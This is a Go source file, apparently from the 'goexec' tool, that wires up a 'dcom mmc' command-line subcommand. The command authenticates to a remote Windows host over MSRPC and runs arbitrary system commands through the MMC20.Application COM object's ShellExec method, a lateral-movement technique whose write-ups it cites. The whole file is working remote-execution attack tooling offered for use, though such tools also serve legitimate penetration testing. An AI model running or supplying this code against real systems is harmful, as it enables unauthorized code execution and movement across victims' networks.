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package cmd
import (
"context"
dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom"
"github.com/oiweiwei/go-msrpc/ssp/gssapi"
"github.com/spf13/cobra"
)
func dcomCmdInit() {
registerRpcFlags(dcomCmd)
dcomMmcCmdInit()
dcomCmd.AddCommand(dcomMmcCmd)
}
func dcomMmcCmdInit() {
dcomMmcCmd.Flags().StringVarP(&dcomMmc.WorkingDirectory, "directory", "d", `C:\`, "Working directory")
dcomMmcCmd.Flags().StringVar(&dcomMmc.WindowState, "window", "Minimized", "Window state")
registerProcessExecutionArgs(dcomMmcCmd)
}
var (
dcomMmc dcomexec.DcomMmc
dcomCmd = &cobra.Command{
Use: "dcom",
Short: "Establish execution via DCOM",
Args: cobra.NoArgs,
}
dcomMmcCmd = &cobra.Command{
Use: "mmc [target]",
Short: "Establish execution via the DCOM MMC20.Application object",
Long: `Description:
The mmc method uses the exposed MMC20.Application object to call Document.ActiveView.ShellExec,
and ultimately execute system commands.
References:
https://www.scorpiones.io/articles/lateral-movement-using-dcom-objects
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
`,
Args: argsRpcClient("host"),
Run: func(cmd *cobra.Command, args []string) {
var err error
ctx := gssapi.NewSecurityContext(context.Background())
ctx = log.With().
Str("module", "dcom").
Str("method", "mmc").
Logger().
WithContext(ctx)
if err = rpcClient.Connect(ctx); err != nil {
log.Fatal().Err(err).Msg("Connection failed")
}
defer func() {
closeErr := rpcClient.Close(ctx)
if closeErr != nil {
log.Error().Err(closeErr).Msg("Failed to close connection")
}
}()
if err = dcomMmc.Init(ctx, &rpcClient); err != nil {
log.Error().Err(err).Msg("Module initialization failed")
returnCode = 1
return
}
if err = dcomMmc.Execute(ctx, exec.Input); err != nil {
log.Error().Err(err).Msg("Execution failed")
returnCode = 1
}
},
}
)
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